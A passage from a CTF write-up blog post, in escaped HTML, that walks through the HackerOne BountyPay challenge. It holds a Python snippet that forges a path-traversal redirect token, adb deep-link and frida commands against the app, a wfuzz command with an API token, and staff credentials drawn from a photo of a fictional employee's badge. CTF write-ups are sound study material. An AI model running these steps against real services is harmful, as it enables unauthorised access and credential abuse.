&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  token &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;{&quot;account_id&quot;:&quot;../../redirect/?url=https://software.bountypay.h1ctf.com/&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;#&quot;,&quot;hash&quot;:&quot;de235bffd23df6995ad4e0930baac1a2&quot;}&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  token &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; base64.b64encode(token)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  burp0_cookies &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: token}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  data &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(burp0_url,&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;cookies&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;burp0_cookies).text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And on &lt;a href=&quot;https://software.bountypay.h1ctf.com/uploads&quot;&gt;https://software.bountypay.h1ctf.com/uploads&lt;/a&gt; we get:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;html&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;Index of /uploads/&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;--shiki-light:#B31D28;--shiki-light-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic&quot;&gt; bgcolor&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;white&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;Index of /uploads/&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;hr&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;pre&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;../&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;../&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/uploads/BountyPay.apk&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;BountyPay.apk&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;                                        20-Apr-2020 11:264043701&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;pre&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;hr&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;   &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A link to an Android APK! &lt;a href=&quot;https://software.bountypay.h1ctf.com/uploads/BountyPay.apk&quot;&gt;https://software.bountypay.h1ctf.com/uploads/BountyPay.apk&lt;/a&gt; which is directly accessible 😁. Now we download this APK and start analyzing. Turns out it is corrupted. I hackily tried to Fix the corruption, At some point, I even considered to fix this by reading all about PZip. Some cool references:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://fadec0d3.blogspot.com/2017/04/plaidctf-2017-zipper-50.html&quot;&gt;https://fadec0d3.blogspot.com/2017/04/plaidctf-2017-zipper-50.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git.zx2c4.com/BruteZip/about/&quot;&gt;https://git.zx2c4.com/BruteZip/about/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But, After banging my head for some hours, I got to know that I was one of the &lt;strong&gt;unfortunates to reach this step too early&lt;/strong&gt;, As it was not intentional to give corrupted APK. Thanks to &lt;a href=&quot;https://twitter.com/bbuerhaus&quot;&gt;@Ziot&lt;/a&gt; on Hacker101 discord for letting me know that they have fixed the issue and later nahamsec also &lt;a href=&quot;https://twitter.com/NahamSec/status/1266586955849953281&quot;&gt;tweeted&lt;/a&gt; out about it. But I would have definitely played for hours with corrupted APK if Ziot had not notified.&lt;/p&gt;
&lt;h2 id=&quot;Android-Challenges&quot;&gt;Android Challenges&lt;/h2&gt;
&lt;p&gt;Reversing and analyzing the BountyPay App’s &lt;code&gt;AndroidManifest.xml&lt;/code&gt; and Source Code, We get two know that there are 5 activities:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MainActivity&lt;/td&gt;
&lt;td&gt;A form that takes Twitter Handle and Username for analytics.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PartOneActivity&lt;/td&gt;
&lt;td&gt;The Activity code Checks if it was opened through DeepLink URI having scheme = &lt;strong&gt;&lt;code&gt;one&lt;/code&gt;&lt;/strong&gt; and host = &lt;strong&gt;&lt;code&gt;part&lt;/code&gt;&lt;/strong&gt; and has parameter &lt;strong&gt;&lt;code&gt;start&lt;/code&gt;&lt;/strong&gt; = &lt;strong&gt;&lt;code&gt;PartTwoActivity&lt;/code&gt;&lt;/strong&gt;, If yes, then it stores that PartOne is solved and starts &lt;code&gt;PartTwoActivity&lt;/code&gt;. ADB command to achieve above: &lt;strong&gt;$ adb shell am start -d one://part?start=PartTwoActivity&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PartTwoActivity&lt;/td&gt;
&lt;td&gt;Similary this activty too requires a deeplink to solve: &lt;strong&gt;$ adb shell am start -d “two://part?two=light\&amp;amp;switch=on”&lt;/strong&gt;. After that, it makes a text Field and submit button visible. When we submit this form, it compares the String Value from text field with the one it fetched from DataSnapshot. If it is equal then we solve this step and it fires &lt;code&gt;PartThreeActivity&lt;/code&gt;. We get this value to be &lt;strong&gt;&lt;code&gt;X-Token&lt;/code&gt;&lt;/strong&gt;, I used frida hook to &lt;strong&gt;dump the Strings which are being compared&lt;/strong&gt; using handy &lt;a href=&quot;https://github.com/iddoeldor/frida-snippets/blob/master/scripts/log_string_builders_and_string_compare.js&quot;&gt;frida-snippet&lt;/a&gt;. &lt;strong&gt;$ frida -U -f bounty.pay -l ./frida-snippet.js –no-paus&lt;/strong&gt; &lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/activity2.png&quot; alt=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PartThreeActivity&lt;/td&gt;
&lt;td&gt;This step too expects us to deduce the DeepLink from SourceCode analysis. It turn out to be: &lt;strong&gt;\$ adb shell am start -d “three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&amp;amp;  &lt;br&gt;switch=b24=\&amp;amp;header=X-Token”&lt;/strong&gt; where params are, &lt;code&gt;three = base64(&quot;PartThreeActivity&quot;)&lt;/code&gt;, &lt;code&gt;switch = base64(&quot;on&quot;)&lt;/code&gt; \&amp;amp; &lt;code&gt;header=X-Token&lt;/code&gt;. It then makes a form visible which expects us to submit a valid Hash, we can again dump it out with same &lt;code&gt;frida-snippet&lt;/code&gt; as in step two. Hash: &lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/activity3.1.png&quot; alt=&quot;&quot;&gt; After we submit this hash, App fires a POST request and leaks the Host \&amp;amp; Header in logs: &lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/activity3.2.png&quot; alt=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CongratsActivity&lt;/td&gt;
&lt;td&gt;It congratulates after solving above 3 steps in sequence! Now we have the &lt;strong&gt;token!&lt;/strong&gt; which we did not ealier. This &lt;code&gt;X-Token&lt;/code&gt; can be used to &lt;strong&gt;directly access the Api&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;API-OSINT&quot;&gt;API + OSINT&lt;/h2&gt;
&lt;p&gt;Now, we have a hint to work on Api with given &lt;code&gt;X-token&lt;/code&gt;. From &lt;code&gt;/statements&lt;/code&gt; endpoint on App we know that Api hosts a REST api on &lt;code&gt;/api/*&lt;/code&gt;. With this much of little information, a hacker always is left with nothing to do other than more content discovery 🙂. I fuzzed for API docs/more endpoints on &lt;code&gt;/*&lt;/code&gt; and &lt;code&gt;/api/*&lt;/code&gt; on &lt;code&gt;api.bountypay.h1ctf.com&lt;/code&gt; in a hope to see some hidden endpoints and yep, we do get the hit on &lt;code&gt;/api/staff&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;\$ wfuzz –hc 404 -H “X-Token: 8e9998ee3137ca9ade8f372739f062c1” -w wordlist/general/common.txt &lt;a href=&quot;https://api.bountypay.h1ctf.com/api/FUZZ&quot;&gt;https://api.bountypay.h1ctf.com/api/FUZZ&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This confirms that we are on the right path! 😪&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://api.bountypay.h1ctf.com/api/staff&quot;&gt;https://api.bountypay.h1ctf.com/api/staff&lt;/a&gt; gives us something interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/get_staff.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;p&gt;And standard REST Api tests of finding more valid METHODS, Parameters on this endpoint yields:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/post_staff.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now we need to find what parameter we are missing and from where it is missing (GET/POST/Content-Type?).&lt;/p&gt;
&lt;p&gt;By REST Api constructs we easily can assume that if &lt;code&gt;GET /api/staff&lt;/code&gt; gets staff array, then &lt;code&gt;POST /api/staff&lt;/code&gt; must be used for Creating new staff object. So let’s pass it the parameters related to staff. After some time of fuzzing and passing parameters like &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;staff_id&lt;/code&gt; in GET queries \&amp;amp; POST body with different content types, we end up with:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/found_post_param.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;p&gt;So this indeed is how a valid staff creation POST request looks like! Now we just need to create one account for ourselves.&lt;/p&gt;
&lt;p&gt;But unfortunately, nearly 1-2 hours of fuzzing did not result in anything to move forward. At this point, I had tried multiple scenarios from the account takeover scene to weird obscure fuzzing to create a valid staff account.&lt;br&gt;
&lt;strong&gt;Turns out, I was again one of those few unfortunates who reached this stage too early!&lt;/strong&gt; The hint for this next step was given just after I solved this step.&lt;/p&gt;
&lt;p&gt;After too much of cosmic fuzzing, I started thinking maybe Fuzzing is not the way forward, like Git repo &amp;amp; Android challenges, there is a another dimension than Web to it. Maybe of OSINT. A scenario like staff leaking credentials on public forum is possible.&lt;br&gt;
So I searched for terms like &lt;code&gt;&quot;BountyPay&quot;, &quot;staff_id&quot;, &quot;Sam Jenkins&quot;, &quot;Brian Oliver&quot;, &quot;STF:KE624RQ2T9&quot;&lt;/code&gt; on Github, Pastebin, Linkedin, Facebook and at Last on Twitter! and found this tweet(later Hackerone retweeted it to give hint 😬):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/bp_tweet.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;p&gt;We find Sandra in BountyPay HQ’s following accounts and in her account we find her &lt;a href=&quot;https://twitter.com/SandraA76708114/status/1258693001964068864&quot;&gt;uploaded photo&lt;/a&gt; of Employee ID card containing what we need, the precious &lt;code&gt;staff_id=STF:8FJ3KFISL3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/id_sandra.png&quot; alt=&quot;&quot; title=&quot;staff&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now we have an account of newly joined employee Sandra on Staff.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;sandra.allison : s%3D8qB8zEpMnc*xsz7Yp5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This marked my 16th hour of continuous hacking on this CTF, after this, I went to sleep 😪&lt;/p&gt;
&lt;h2 id=&quot;Privilege-Escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;Looking around on the Staff App through Sandra’s account, We notice some fishy things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Template&lt;/code&gt; parameter is client-controlled.&lt;/li&gt;
&lt;li&gt;A weird way of updating Profile image through CSS(&lt;code&gt;css/style.css&lt;/code&gt;) classes by having inline images as base64 encoding served through Data URI.&lt;/li&gt;
&lt;li&gt;There is an &lt;code&gt;admin&lt;/code&gt; role to some staff accounts.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Report This Page&lt;/code&gt; feature for admin to visit and see if there is something wrong.&lt;/li&gt;
&lt;li&gt;And the most interesting:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.upgradeToAdmin&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;click&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;input[name=&quot;username&quot;]&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;val&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    $.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/admin/upgrade?username=&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; t, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;        alert&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;User Upgraded to Admin&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;click&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.tab&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;removeClass&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;active&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;addClass&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;active&quot;&lt;/span&gt;&lt;span 